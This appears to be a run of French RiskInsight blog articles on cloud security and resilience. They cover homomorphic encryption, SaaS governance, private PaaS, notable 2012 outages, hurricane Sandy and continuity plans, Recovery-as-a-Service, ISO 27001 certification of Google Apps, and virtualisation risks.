Depuis des années, une solution à ce problème mûrit dans la tête des chercheurs : le chiffrement homomorphique. Derrière ce terme complexe se cache une idée simple : pouvoir réaliser des traitements directement sur des données chiffrées, sans avoir besoin de les déchiffrer ! Depuis 2009, de nombreuses avancées ont été réalisées dans ce domaine en particulier au MIT. Récemment, une équipe d’IBM a même mis à disposition une implémentation concrète (code source à l’appui) de cette méthode. Aujourd’hui, il existe encore un grand nombre de limitations, en particulier par rapport à la vitesse de traitement ou les opérations réalisables. Il faudra également que cette méthode et son implémentation soient analysées par des experts en chiffrement pour en garantir la robustesse.  D’autre part, il faudra toujours que l’entreprise fasse l’effort de gérer correctement ses clés de chiffrement. Le quotidien nous montre qu’aujourd’hui c’est encore rarement le cas !

Une avancée à suivre de près !

Le chiffrement homomorphique représente une avancée importante dans l’industrialisation de l’informatique. Les annonces récentes ont été largement saluées dans les différentes communautés sécurité. Sa mise en œuvre pourrait lever les nombreux freins qui existent encore aujourd’hui par rapport à la localisation des données ou encore aux fournisseurs. Même s’il faudra encore attendre quelques années avant une possible démocratisation, il s’agit clairement d’un sujet à garder dans le radar de la veille !

Cet article Chiffrement : la clé d’un cloud computing sécurisé ? est apparu en premier sur RiskInsight.

La sécurité, une question négligée après la phase de contractualisation

Les limites posées par le SaaS sont aujourd’hui bien connues : difficultés d’adaptation du service aux besoins de l’entreprise, absence de possibilités d’audit, questions réglementaires, etc.

Pourtant, de plus en plus de services cloud sont adoptés, sans que la sécurité ne soit nécessairement un frein. Pour cela, une démarche classique d’analyse de risque est menée en évaluant les contraintes légales / réglementaires,  les mécanismes de protection des données, la gestion de la sécurité par le fournisseur, ou encore les conditions de réversibilité de la donnée.

Cette démarche est de plus en plus maîtrisée : de nombreux retours d’expérience et un outillage qui se professionnalise* amènent à faire des choix éclairés, en toute connaissance de cause des risques encourus, et donc parfois acceptés.

Malheureusement, la démarche sécurité s’arrête souvent là : à partir du moment où le sujet a été traité lors de la contractualisation, on considère qu’un bon niveau est assuré, puisque l’on a exigé du prestataire de s’en occuper !

Le maintien de la sécurité dans le temps est un enjeu régulièrement oublié, alors même qu’il est en partie du ressort de l’entreprise, et pas seulement à la charge du fournisseur.

Des sujets à inscrire dans la durée

Pour s’assurer que la solution cloud est déployée avec le bon niveau de sécurité, et maintenir celui-ci dans le temps, quatre grands thèmes sont à aborder en priorité. S’il s’agit de bonnes pratiques habituelles sur un SI d’entreprise, il faut aujourd’hui les adapter, voire les renforcer pour le SaaS.

•  La gouvernance : les services SaaS doivent être intégrés aux procédures de sécurité et des processus liés au service fourni. Il peut par ailleurs être utile de mener des actions de sensibilisation dans certaines situations.

• L’administration fonctionnelle du service est bien du ressort de l’entreprise : le fournisseur n’est pas en mesure de faire les choix fonctionnels à votre place (et ce n’est souvent pas ce qu’on lui demande) ! Pour l’aspect sécurité plus encore, c’est à l’entreprise de définir  et mettre en œuvre les fonctionnalités avancées disponibles, de restreindre les services au minimum requis par l’utilisateur, de former ses administrateurs… Ces aspects sont souvent les plus négligés, comme nous le constatons lors des audits que nous réalisons.
• Des contrôles réguliers peuvent et doivent aussi être mis en œuvre sur les parties auditables des services. Il s’agit en particulier de vérifier que les paramètres de sécurité sont inchangés, d’exploiter les logs sécurité, et de revoir les habilitations. S’il le permet, enfin, ne pas hésiter à auditer son fournisseur (visites de site, voire tests d’intrusion).
• Il reste enfin à traiter le sujet de l’IAM, enjeu transverse du Cloud, souvent peu ou mal maîtrisé de par sa complexité. Même si cette voie est souvent suivie, il faut pourtant éviter de recréer un compte dans le Cloud pour chaque utilisateur. Pour « synchroniser » les identités de l’entreprise dans le Cloud, il faut également éviter la multiplication des connecteurs  (et notamment ne pas en redévelopper un par fournisseur), sous peine de créer une situation ingérable. Deux approches sont aujourd’hui à prioriser : soit l’utilisation d’un outil de fédération d’identités interne (qui réalise la connexion avec la majorité des fournisseurs de SaaS), soit l’externalisation de l’IAM… dans le Cloud (!) en « Identity as a Service »

Le RSSI, garant de la cohérence des projets

Dans le cas du SaaS, le rôle des responsables sécurité de l’information est double.

D’une part, il s’agit d’accompagner les projets, en leur apportant des solutions transverses : un certain nombre de points peuvent être mutualisés en amont. C’est tout particulièrement le cas des sujets tels que l’IAM, qui doivent faire l’objet d’une approche unifiée et cohérente –  et surtout pas projet par projet.  C’est également le cas des questions légales qui doivent faire l’objet d’une réflexion globale amont.

D’autre part, la SSI demeure la garante du niveau de sécurité dans le temps : la Gestion Opérationnelle de la sécurité devra faire l’effort de partir à la conquête des nuages !

* On peut citer notamment le guide publié par l’ANSSI et la « Cloud Control Matrix » maintenue par la Cloud Security Alliance

Cet article SaaS et sécurité : entreprises, ne mettez pas vos responsabilités dans les nuages ! est apparu en premier sur RiskInsight.

D’après Fabrizzio Biscotti, Directeur de recherche chez Gartner « Le PaaS est l’endroit où la bataille entre les fournisseurs et les produits s’intensifie le plus ». Le marché du PaaS privé n’est pas exclu de cette bataille. Il fait face à une concurrence de plus en plus rude et une  évolution de plus en plus vite.

Pour mieux comprendre cette évolution, voyons quelle est la proposition des offreurs dans ce marché.

Un positionnement en surcouche des modèles traditionnels

Traditionnellement, un modèle PaaS offre un environnement complet de développement et d’exécution. Du côté du PaaS privé, les acteurs se positionnent sur le marché des « Fabric PaaS ». Il s’agit d’un outil de provisionnement d’environnements, constitués de composants logiciels et applicatifs packagés au préalable. Cet outil s’appuie ensuite sur les infrastructures existantes de l’entreprise, qu’elles soient physiques, virtuelles ou déjà dans le cloud. Les acteurs de ce marché sont très dynamiques, avec une offre qui évolue rapidement. On y retrouve aujourd’hui les acteurs de l’édition logicielle traditionnelle avec Tibco Silver et VMware vFabric, des acteurs de niche comme ActiveState Stackato et une offre open source avec Cloud Foundry, souche de plusieurs solutions commerciales.

Agilité, Scalabilité et Consolidation comme crédos

Les fonctionnalités de packaging intégrées à ces solutions permettent de définir des environnements « clés en main ». Ces environnements contiennent  un ensemble de composants applicatifs, conçus à partir d’une palette d’exécutables tels que Jboss, Websphere, Tomcat, Tibco… ainsi que d’autres logiciels non standards. Les déploiements sont ainsi standardisés, dans une optique d’optimisation des temps de création des environnements.

Ces outils gèrent également les performances des applications déployées. Ils adaptent ainsi la capacité mise à disposition aux pics et baisses de charge en rajoutant ou supprimant des ressources sur la base d’un jeu de règles prédéfini. Ils offrent également la possibilité de s’étendre vers un cloud public.

Le troisième apport est l’optimisation de l’usage des ressources. Les mêmes ressources pouvant être affectées à des applications de natures différentes, évitant ainsi les modes de fonctionnement en silo.

Une mise à disposition en 3 étapes

La mise à disposition des environnements passe généralement par trois étapes clés :

• Le packaging qui permet de concevoir la stack* applicative de l’environnement en définissant les différents composants logiciels nécessaires à l’exécution ;

• Le provisioning pour déployer une stack applicative sur une infrastructure à l’aide d’une interface graphique ;

• Le management pouradministrer les stacks déployées, récupérer des statistiques et  définir des règles de scalabilité automatique.

La Fabric PaaS : un outil adapté à vos besoins ?

Avant toute chose, il est nécessaire de mesurer l’adéquation de l’outil avec le besoin attendu. Comment ? Voici quelques critères qui sauront vous aider à prendre la bonne décision :

• L’évolutivité des environnements

Si vous êtes dans un contexte soumis à de fortes évolutions d’environnement, une Fabric PaaS permet de réduire le temps de déploiement et de limiter les interventions humaines.

• Le niveau de demande de création de nouveaux environnements

Une trop faible demande ne permettra pas d’amortir le coût de mise en œuvre par les gains dégagés

• Le niveau de standardisation des demandes

Plus les demandes sont normalisées / standardisées, plus il sera possible d’aller loin dans le packaging et donc réduire au maximum les interventions humaines

• La variation dans le temps du niveau d’exigence en performance et haute disponibilité 

Une Fabric Paas permettra de gérer les capacités de performance au fil de l’eau : assurer le service lorsque le niveau d’exigence est au plus haut tout comme libérer les ressources lorsque le niveau est bas. Plus ce genre de variation sera fréquent, plus l’outil fera preuve d’utilité.

Les promesses des fabric PaaS sont alléchantes. Pour autant il s’agit de produits très récents et demandant des investissements compliqués en période de pressions budgétaires ainsi que des évolutions organisationnelles. Leur avènement nous semble toutefois inéluctable mais à un rythme d’adoption bien plus lent que celui espéré par les fournisseurs.

*Stack : Ensemble de composants logiciels permettant de mettre en œuvre un environnement (exemple : un serveur web + un schéma de base de données)

[Article écrit en collaboration avec Alaa Jamal-Bennis]

Cet article La Fabric PaaS : cœur de la proposition de valeur du PaaS Privé est apparu en premier sur RiskInsight.

Télécommunications : le réseau mobile Orange down

Si l’on demandait aux Français quelle panne les a le plus marqués en 2012, il y a fort à parier qu’ils parleraient d’Orange : au mois de juillet, l’opérateur (et d’autres par ricochet) a subi une interruption de son réseau mobile pendant plusieurs heures suite à un incident logiciel. Moins d’une semaine plus tard, c’était au tour d’O₂ de subir le même sort au Royaume-Uni pour quasiment 24h. Preuve, s’il en fallait une, que l’on ne doit pas considérer la résilience des réseaux mobiles comme une évidence.

Énergie : la plus grosse panne électrique de l’histoire

Il en va de même pour les réseaux électriques. Si la dernière panne générale en France remonte à 1978, des interruptions significatives ont été enregistrées récemment (Chili et Japon en 2011, USA en 2008 et 2003). Fin juillet 2012, l’Inde a établi un triste record : la plus grande panne d’électricité jamais enregistrée, avec 670 millions d’usagers touchés pendant plusieurs jours. En cause : une capacité de production qui a du mal à suivre la croissance de la population et de la demande, combinée à une sècheresse qui a diminué la production hydro-électrique du pays.

Banque et finance : un des bugs les plus coûteux après le blackout aux USA de 2003 et la destruction d’Ariane 5 en 1996

Les pannes et bugs logiciels occupent une bonne place cette année dans le top des causes des incidents majeurs. C’est ce qui s’est passé pour Knight Capital, qui a subi en août l’un des bugs les plus chers de l’histoire : 440 millions de dollars envolés. Un système de trading haute fréquence mal qualifié est à l’origine du désastre, qui ne manquera pas d’alimenter les détracteurs de la finance. Knight Capital est d’ailleurs passé proche de la banqueroute et n’a pu éviter le rachat par un de ses concurrents début 2013.

Dans le secteur bancaire, impossible de passer sur la panne informatique de Royal Bank of Scotland (RBS). Provoquée par une erreur dans un batch, elle a exigé d’importantes et nombreuses opérations manuelles des équipes informatiques ce qui a fortement retardé le traitement. Plus de 15 millions de clients ne pouvaient plus retirer de l’argent ou faire des virements pendant une semaine ! Résultat : 219 millions d’euros de dédommagements pour la banque.

Services informatiques : le cloud, toujours le cloud !

Les belles promesses de résilience de l’informatique dans les nuages avaient déjà pris un sacré coup en 2011, avec des interruptions importantes chez la plupart des acteurs majeurs du secteur. L’année 2012 a fini de tuer le rêve.

Amazon est le grand vainqueur avec au moins 4 pannes majeures en 2012, dont une le jour de Noël. Les causes sont diverses : tempête et panne électrique, bug logiciel, erreurs réseau ou erreur humaine. Chez Microsoft, la panne mondiale d’Azure en février a viré au tragicomique lorsqu’il fut révélé qu’elle provenait d’une erreur logicielle liée à l’année bissextile ! Enfin, bien que moins importantes, Google a aussi connu son lot de pannes en 2012, tout comme Facebook et Twitter.

Catastrophes naturelles : l’ouragan Sandy … entre autres

Impossible de terminer ce panorama sans évoquer les catastrophes naturelles : inondations aux Philippines, séisme en Iran et en Chine, ouragan Sandy en Amérique du Nord… Selon le réassureur allemand Munich Re, les catastrophes naturelles ont causé environ 160 milliards de dollars de pertes en 2012 (400 en 2011 selon la même source, année la plus coûteuse de l’histoire en la matière), sans parler des nombreuses victimes.

Et en bonus…

Moins importants en termes d’impacts que ceux mentionnés ci-dessus, deux exemples d’incidents nous semblent pourtant pouvoir donner matière à réflexion.

En cette année d’élections en France où une nouvelle fois la question du vote électronique a été posée,  deux incidents informatiques ont perturbé des processus électoraux : dans le canton de Vaud en Suisse et lors des primaires du Likoud en Israël.

Pour clore ce panorama, on se doit de citer les actes malveillants, liés à la cybercriminalité notamment, par exemple les importantes attaques DDoS contre des institutions financières aux USA ou l’infection de 30000 PC de Saudi Aramco (première compagnie pétrolière mondiale) par le virus très perfectionné Shamoon. On notera également les révélations du New York Times concernant l’implication des USA et d’Israël dans le virus Stuxnet en 2010, faisant encore monter d’un cran la pression sur la cyber-guerre.

Les années passent, les interruptions d’activité restent

Les années se suivent et ne se ressemblent pas¹, mais les interruptions d’activité, catastrophes et autres bugs informatiques continuent de provoquer des problèmes majeurs.

S’il est important de mettre des moyens sur leur prévention, il est tout aussi nécessaire de savoir réagir. Le risque zéro n’existe pas et certains accidents sont aussi inattendus qu’inévitables. Dans ce cas,  un PCA accompagné d’une gestion de crise efficace peuvent permettre de limiter grandement les dégâts !

[Article écrit en collaboration avec Gérôme Billois]

¹Voir notre rétrospective des incidents 2011.

Cet article La fin du monde a (presque) eu lieu : revue de 5 incidents marquants en 2012 est apparu en premier sur RiskInsight.

Des sinistres de cette ampleur ont permis d’alerter les DSI sur leur exposition face aux risques naturels. La régularité et la violence de ces évènements climatiques ont poussé les entreprises à prendre des mesures pour faire face à de futures tempêtes de la dimension de «Sandy». Les leçons du passé ont-elles pour autant été retenues ? Ont-elles toutes réussi ce test grandeur nature ? si oui, comment y sont- elles parvenues ?

Les conséquences de l’ouragan « Sandy »

Annoncé comme une catastrophe majeure dans l’histoire des États-Unis, l’ouragan « Sandy » a capté l’attention de la plupart des DSI des acteurs économiques de la côte Est qui ont mobilisé leurs efforts pour déclencher leurs plans de continuité informatique. Ces PCI, mis à niveau depuis les attentats du 11 Septembre 2001, sont fondés notamment sur des procédés de géo-réplication.

Les acteurs du web et plus largement du marché du cloud sont plus enclins à communiquer sur leur capacité de reprise et à faire des retours sur les incidents subis que les entreprises traditionnelles. Les informations disponibles proviennent donc essentiellement de ces acteurs.

De nombreuses pannes d’électricité causées par la tempête, ont entraîné une indisponibilité partielle ou totale de services (Huffington Post, Gawker, Cafemon, Gizmodo, Buzzfeed, etc.) dans bon nombre de datacenters. Les hébergeurs et fournisseurs de services cloud Datagram et 75 Broad ont été indisponibles à causes d’inondations ou réserves insuffisantes de carburant pour le fonctionnement des groupes électrogènes.

« Sandy » a ainsi rendu apparente la vulnérabilité des nombreux datacenters présents dans cette zone (New York, New Jersey, et Virginie) des États-Unis. En effet, plusieurs centres de données géo-répliqués n’étaient distants que d’une centaine de kilomètres (150 datacenters) et donc dans le rayon d’impact de Sandy.

Ces dysfonctionnements mettent en exergue la nécessité, même pour des PCI bien pensés comme ceux de Wall Street, d’être mis à l’épreuve dans des conditions proches de la réalité, avant d’être jugés comme fiables.

 Des PCI à l’épreuve des ouragans

Certains opérateurs de datacenter, comme Telx, ont résisté à Sandy car ils avaient appliqué précédemment des tests simulant jusqu’au bout un sinistre. Par cette initiative, Telx a pu identifier certaines insuffisances dans son PCI comme la surchauffe de ses générateurs en mode dégradé et a donc pu limiter l’impact de Sandy.

Un cas d’école est celui de Buzzfeed qui, malgré le crash de Datagram qui hébergeait ses serveurs primaires, a réussi à réduire considérablement le temps d’indisponibilité de ses services. Cette réussite s’explique par :

• la mise en cache de la plupart de ses pages chez Akamai, le gestionnaire et diffuseur de contenu
• l’hébergement dans un second datacenter des données répliquées en temps réel.

La réplication de ces données a permis le rétablissement des services de Buzzfeed chez Amazon Web services (AWS). Quelques heures ont suffi pour assurer la migration complète des données vers AWS et ainsi basculer leur service sur les infrastructures d’Amazon. Cet exploit est à relativiser car il a nécessité la configuration manuelle d’une bonne partie du socle technique de Buzzfeed et reste donc peu applicable en l’état à un SI complexe.

Les leçons de « Sandy »

Chaque incident majeur est une façon pour les Grands Comptes d’apprendre par le réel et d’anticiper les futures catastrophes. Au-delà d’une stratégie multi-datacenters, Sandy a  mis en exergue la nécessité d’anticiper, de tester et d’adapter le PCI.

Elle a aussi révélé le cloud comme une alternative envisageable pour réaliser un PCI. Alternative que les offreurs cloud commencent à mettre en avant par le biais de leurs offres packagées de Disaster Recovery As A Service.

Les entreprises européennes et notamment françaises, qui ont moins l’occasion de mettre à l’épreuve de la réalité leur PCI, devraient néanmoins s’inspirer des retours d’expériences plus nombreux acquis par les américains. D’autant plus que les hébergeurs de cloud ne rechignent pas à communiquer sur leur stratégie PCI gagnante afin d’en faire un argument marketing. En effet, même si moins fréquentes, l’Europe n’est pas à l’abri de catastrophes équivalentes en termes d’impact à « Sandy ».

Cet article Les plans de continuité informatique des cloud à l’épreuve de l’ouragan Sandy est apparu en premier sur RiskInsight.

Cet article L’actualité IT commentée par Gérôme Billois sur BFM Business est apparu en premier sur RiskInsight.

Le RaaS : fer de lance des « Cloud Recovery Services »

Comme pour beaucoup de ce qui tourne autour du cloud, il est parfois difficile de donner une définition précise de ce dont on parle, tant une même appellation peut cacher des offres différentes. Nous utiliserons la définition suivante : « Cloud Recovery Service => secours d’un système d’information sur une infrastructure virtualisée, hébergée par un tiers, disponible à la demande et facturée à l’utilisation. »

L’éventail des possibilités est très large :

•  d’une sauvegarde externalisée des données critiques en mode cloud (« Backup-as-a-Service ») …
•  …en passant par la construction par le client lui-même de son secours sur la base d’une prestation de type « IaaS » [2] …
•   …jusqu’à une offre complètement managée intégrant le suivi du SI nominal et des mécanismes de bascule planifiés. C’est ce type de prestations que l’on retrouve sous l’appellation « Recovery-as-a-Service ».

 Quel est l’intérêt de passer au RaaS ?

L’utilisation du RaaS résulte avant tout d’un choix économique. Sur le papier du moins, le secours paraît adapté au modèle de facturation du cloud (pas de sinistre > allocation limitée de ressources > coût d’utilisation réduit), alors qu’un secours traditionnel implique de stocker, héberger et faire évoluer des infrastructures, des serveurs et des applications sur un site de secours.

Mais à y regarder de plus près, les économies ne sont pas toujours au rendez-vous et varient grandement en fonction des applications. Si certaines d’entre elles, peu consommatrices de données, sont les candidates idéales pour le RaaS (des études indépendantes font état d’environ 80% d’économies [3] pour leur secours par rapport à l’approche traditionnelle), le ROI pour les applications plus lourdes et/ou pour lesquels les exigences de continuité sont plus fortes s’avère discutable. En effet, plus les RTO et RPO seront exigeants, plus le niveau de service devra être élevé (allocation renforcée de ressources, mécanismes de réplication des données site-à-site, liens sécurisés, supervision 24/7, etc.) entraînant une envolée des coûts à la clef.

Le RaaS s’assimile, à ce stade de sa maturité, au mieux à du « warm recovery ». En effet, il est aujourd’hui illusoire de penser que les solutions proposées permettront de la haute-disponibilité : délais d’activation, délais relatifs aux opérations de bascule notamment au niveau du réseau, délais de restauration en cas de corruption des données, etc.

En outre, le RaaS repose essentiellement sur des mécanismes de virtualisation de serveurs (le plus souvent restreints aux architectures Intel x86, à l’exception de quelques fournisseurs), que ne supportent pas tous les progiciels du marché, a fortiori les applications propriétaires des clients.

Ainsi, le fait de vouloir tirer pleinement parti de la compétitivité économique du RaaS tout en répondant aux besoins Métiers réduit son utilisation à une certaine catégorie d’applications. Ce faisant, il cantonne le RaaS en tant que solution complémentaire à un secours traditionnel, ce qui peut paradoxalement devenir une source de complexité, du fait de la cohabitation de deux SI de secours. Néanmoins, deux cas d’usage du RaaS émergent pour les organisations concernées :

•  La couverture des applications virtualisées ou éligibles à la virtualisation à coût optimisé
•  L’extension du secours à des périmètres qui n’auraient pas pu être intégrés au Plan de Continuité Informatique de l’organisation, pour une meilleure couverture au meilleur coût.

A qui s’adressent les offres RaaS ?

Étant donné son modèle économique et sa structure technique, le RaaS semble plus adapté aux moyennes structures (qui n’ont pas souvent la surface financière pour mettre en œuvre et gérer en propre un site de secours) et notamment à celles qui ont opéré la virtualisation de leur SI. Les études prospectives [4] le montrent : ce sont elles qui tireront la croissance de ce marché dans les prochaines années.

Les grandes organisations déjà dotées de Plans de Continuité Informatique seront probablement moins intéressées mais pourront néanmoins trouver dans le RaaS des réponses ciblées à certains de leurs besoins.

Le RaaS : une offre mature ?

Comme pour nombre de cloud services, le RaaS n’a pas encore atteint sa pleine maturité : en témoigne le foisonnement des offres et des prestataires notamment aux États-Unis et au Royaume-Uni. Au-delà des acteurs historiques de la continuité informatique se positionnent des pure-players des cloud recovery services et de plus en plus des hébergeurs informatiques, convertis au cloud.

Le marché se structure, les offres évoluent en recherchant notamment de la complémentarité avec les cloud services : des initiatives d’interopérabilité entre services IaaS et RaaS se font jour pour assurer du secours « cloud-to-cloud » par exemple.

A ce stade et en terme de couverture de risques, le RaaS doit faire ses preuves. Concrètement les infrastructures dévolues au RaaS reposent sur encore peu de datacenters. Le client qui souhaitera se prémunir de sinistres affectant des zones géographiques particulières (ou étendues) devra se rapprocher du fournisseur de service RaaS qui l’intéresse pour vérifier que son ou ses sites ne sont pas exposés aux mêmes risques.

En France, le marché reste jeune et sans retour d’expérience significatif de déploiement. Les grands offreurs français s’appuient, aujourd’hui, sur les infrastructures anglo-saxonnes ou nord-américaines de leur maison-mère (ce qui potentiellement impacte la qualité de service, le niveau de sécurité, les engagements contractuels, etc.). Reste donc aux acteurs, anciens comme nouveaux, à démontrer toute la pertinence de leurs offres, en particulier sur la gamme des services managés, probablement les plus recherchés par les DSI.

[1] On rencontre également l’acronyme DRaaS (Disaster Recovery-as-a-Service)

[2] IaaS : Infrastructure-as-a-Service

[3] « Disaster Recovery as a Cloud Service : Economic Benefits & Deployment Challenges »

[4] « Gartner Says 30 Percent of Midsize Companies Will Use Recovery-as-a-Service by 2014 »

Cet article Recovery-as-a-Service (RaaS) : une révolution pour le secours informatique ? est apparu en premier sur RiskInsight.

Certifier le management de la sécurité, pas un niveau de sécurité

Tout d’abord, bref retour sur un point majeur trop souvent oublié : la norme ISO 27001 ne certifie pas un niveau de sécurité, mais son management. Cette norme, qui énonce les exigences à mettre en œuvre pour l’implémentation d’un Système de Management de la Sécurité de l’Information (SMSI), vise à mettre en place le management de la sécurité et à s’assurer de son amélioration continue sur le périmètre de la certification.

Le choix des mesures et du niveau de sécurité en place est donc fait en réponse aux risques et exigences identifiés par les parties prenantes : un choix nécessairement validé par le management ! Contrairement à un standard « catalogue » comme PCI-DSS où toutes les mesures doivent être implémentées pour arriver à la certification, l’audit ISO 27001 ne vérifiera que les mesures sélectionnées comme apportant une réponse aux risques. Une différence de taille, qui pousse vers une sécurité pragmatique mais en contrepartie nécessite une analyse des risques de sécurité de qualité et une attention particulière de l’auditeur externe.

Un périmètre solide

De nombreuses entreprises affichent des certifications, mais il est souvent nécessaire pour les clients de s’attarder sur la lecture du périmètre pour en connaître la valeur : un périmètre très limité par rapport à l’utilisation de leurs données peut être trompeur !

Ce n’est pas le cas ici, puisque Google présente une certification ISO 27001 qui couvre l’ensemble des systèmes, collaborateurs, processus et datacenters qui permettent de délivrer le service Google Apps. Cela inclut les services  GMail, Google Talk, Google Calendar, Google Docs (documents, spreadsheets, presentations), Google Sites, Control Panel (CPanel), Google Contacts, Google Video, Google Groups, mais aussi les briques support (Directory Sync, Provisioning API, SAML-Based SSO API, Reporting API, Audit API). C’est un périmètre impressionnant au vu de la couverture des services, tant sur le plan fonctionnel que géographique !

Développer la confiance et diminuer le nombre d’audits

A l’heure où de plus en plus d’entreprises se posent la question de l’opportunité d’externaliser les services de bureautiques comme la messagerie, l’édition de documents, etc., rassurer les responsables de la sécurité en garantissant les meilleures pratiques de management de la sécurité ne peut qu’être positif en termes marketing. Au-delà de l’apport de confiance, c’est également pour Google la garantie d’une reconnaissance externe, sanctionnée par un organisme de certification indépendant, qui pourra diminuer le nombre ou la charge d’audits des clients. Un bénéfice opérationnel non négligeable – même si Google n’était pas très enclin à se faire auditer !

Si Google a largement communiqué sur l’obtention de la certification, la firme de Mountain View n’a pas été la première à se lancer dans l’aventure : Amazon web services et Microsoft Office 365 ont déjà fait l’objet de la mise en place de SMSI certifiés. Après les infogérants, l’ISO 27001 serait donc en passe de devenir le standard de référence pour la sécurité des services dans le Cloud : on ne peut que se réjouir de ce mouvement qui rassurera les entreprises clientes de ces services. Celles-ci ne doivent cependant pas considérer la certification comme un niveau de sécurité « garantie » et rester attentive aux périmètres et aux mesures mises en place concrètement.

Cet article ISO 27001, un passage obligé pour les fournisseurs de services dans le cloud ? est apparu en premier sur RiskInsight.

En matière de disponibilité, les promesses du cloud n’engagent que ceux qui y croient !

L’Hyper Cycle 2011 du Gartner a positionné en août dernier le cloud dans sa phase de « désillusion ». Force est de constater que les incidents à répétition que rencontrent les grands noms du cloud depuis l’année passée ne font que confirmer cette état de « disgrâce ».  Petit rappel des deux faits marquants de ce début d’année.

Le 29 février à 1h45 (GMT), la plate-forme de cloud services Windows Azure tombe sur 4 de ses 6 plaques mondiales pendant une durée oscillant entre 12h et 48h. Cette interruption de services a son origine dans un bogue logiciel générant une erreur de calcul de dates sur les années bissextiles ; à la décharge de Microsoft,  il est vrai qu’Azure ouvert en 2010 n’a pas connu d’autre année bissextile que 2012. Cette panne a laissé sur le carreau plusieurs sites clés, dont la fameuse place de marché du gouvernement britannique, le « CloudStore ».

Ce 7 mars vers 5h (GMT), le service Facebook tombe en panne plus de 3 heures sur les plaques  Europe, Afrique et Moyen-Orient. Principale cause avancée, celle de la défaillance des serveurs DNS européens de Facebook entraînant l’inaccessibilité du site. Pointés du doigt, les Anonymous ont démenti être mêlés à cet incident. En tout état de cause, le communiqué officiel de Facebook ne laisse filtrer aucune explication. Rappelons-nous que Facebook avait déjà rencontré un problème de configuration BGP en août 2010.

Ces deux incidents majeurs font écho aux non moins médiatiques pannes rencontrées par les promoteurs du cloud computing ; remémorons-nous les incidents de Google (trois en 2009, celle de 05/2010, puis de 02/2011 et 09/2011), d’Amazon et de son service EC2 (12/2010, 04/2011, 08/2011), du précurseur Salesforce.com (02/2008, 01/2009, 01/2010) et du plus récent VMware Cloud Foundry (05/2011).

S’agissant de « résilience », les atouts du cloud ont maintes fois été présentés, on citera en substance :

• Taux de disponibilité avantageux (Salesforce.com affiche 99,9%)
• Répartition et duplication des ressources sur des lieux géographiques différents
• Accessibilité permanente, en tout point du globe
• Standardisation de l’offre technique, facilitant sa reproductibilité sur les datacenters

Pour autant, le cloud n’en reste pas moins une machinerie complexe par construction ; du fait de l’empilement des services qui le composent, du volume des ressources qui le constitue et, paradoxalement, de leur répartition sur le globe.

Au-delà de cette complexité qui impacte les gestes d’exploitation et de maintenance au quotidien s’ajoutent également les risques posés par le modèle de standardisation retenu. Les effets d’une erreur de manipulation, d’un bogue ou d’une vulnérabilité se font ressentir rapidement sur tout ou partie des infrastructures sous-jacentes.

Difficile dans ces conditions, face à des offres « boîtes noires » peu dissertes sur leur fonctionnement interne, d’accorder un crédit sans limite aux niveaux de disponibilité avancés. Du reste, le cloud public, universel dans son usage et par sa fréquentation, ne permet pas de préjuger de la manière et avec quelle priorité seront traitées, en cas de sinistre, les entreprises (grandes ou petites) en regard des individuels que nous sommes.

Des axes de progrès pour une meilleure résilience du cloud

Ces incidents à répétition témoignent d’une maturité encore insuffisante du marché et des fournisseurs, qui fonctionnent encore pour certains « au coup par coup ». Pour autant, le tableau n’est pas si noir, le modèle vertueux d’amélioration continue se met en place, sous l’impulsion notamment de l’alliance CSA (cloud security alliance)  qui promeut de bonnes pratiques en matière de sécurité et de résilience du cloud, des exigences d’acteurs clefs et /ou de gouvernements (PCI DSS, FISMA, HIPAA, etc.) et, il faut bien le dire, au gré des incidents vécus.

D’autant que la problématique de continuité tout comme de sécurité est au cœur des préoccupations des fournisseurs de service ; en affectant la confiance de leurs clients, présents et futurs, elle touche directement leur business model. Rappelons-nous enfin que l’une des promesses essentielles du cloud computing est d’améliorer la résilience du service rendu, parce qu’il est précisément « partout dans le nuage ».

A y regarder de plus près, le nombre d’incidents rencontrés par les acteurs du cloud est équivalent sinon inférieur à ce que rencontrent les entreprises. Le principal facteur aggravant tient au fait que la surface d’impact est sans commune mesure avec celles des SI des entreprises (ce sont des dizaines de milliers voire de millions d’usagers qui sont touchés).

Les fournisseurs de service entrent doucement dans la phase de maturation de leurs offres ; ils renforcent progressivement leurs dispositifs de continuité, prennent davantage en compte le facteur humain (source indéfectible d’erreur !) et apprennent aussi à mieux communiquer auprès de leurs clients.

Mais il ne faut pas croire au cloud « infaillible ». Aussi, les entreprises consommatrices de services cloud doivent-elles prévoir des processus de continuité de leurs métiers les plus sensibles et de préservation de leurs données les plus critiques.

C’est enfin le prochain challenge des fournisseurs que de prouver et démontrer les performances de leurs services cloud face à ceux des SI des grandes organisations !

Cet article Panne Facebook : symptomatique de la résilience du cloud computing ? est apparu en premier sur RiskInsight.

Le concept de virtualisation existe depuis plus de 40 ans (avec les mainframe et systèmes IBM), mais s’est véritablement démocratisé dans les années 2000 lorsqu’il est devenu possible d’exécuter simultanément plusieurs systèmes d’exploitation sur un même poste de travail. C’est essentiellement grâce à la virtualisation système (Microsoft, VMware) qu’il est aujourd’hui connu et son succès a atteint des sommets avec le développement du « cloud computing » (Amazon, Google Apps…).

La virtualisation consiste à faire fonctionner sur une machine physique unique plusieurs systèmes comme s’ils fonctionnaient sur des machines physiques distinctes. Ceci repose sur un concept simple : des instances virtuelles sont orchestrées par un hyperviseur, garant de l’accès, la répartition des ressources et l’isolation entre les instances.

La virtualisation doit avant tout son utilisation aux gains financiers qu’elle apporte en favorisant la consolidation des infrastructures et l’optimisation des ressources utilisées. Elle engendre en même temps des bénéfices opérationnels importants en permettant la mise en place rapide de solutions en haute disponibilité : le passage au « tout logique » apporte une facilité de déploiement et une souplesse de provisionning non offerts dans le monde physique.

En 40 ans, au vu de ces bénéfices, les technologies de virtualisation se sont orientées vers des utilisations diverses, s’étendant à d’autres composants du SI que les systèmes d’exploitation d’origine : postes de travail (sessions virtuelles, VDI…), réseaux (VDC, VRF…), équipements de sécurité (Firewalls, IDS-IPS…).

Des risques technologiques … à relativiser !

Les premières craintes des entreprises vis-à-vis de la virtualisation sont liées à la fiabilité des nouveautés technologiques impliquées : les nouveaux composants introduits, en particulier l’hyperviseur, me garantissent-ils l’étanchéité des systèmes supportés par une même machine physique ?

Il existe effectivement un certain nombre de vulnérabilités exploitables sur ces technologies… mais les risques associés sont finalement peu rencontrés : les technologies phares du marché sont des technologies éprouvées et ces risques peuvent être traités, comme pour tout système, par des mesures de gestion opérationnelles de la sécurité qui sont déjà en place dans les entreprises (patch management, durcissement…). Attention cependant ces processus doivent fonctionner avec efficacité vu l’impact en cas d’incident sur les infrastructures de virtualisation.

Des risques humains … à ne pas négliger !

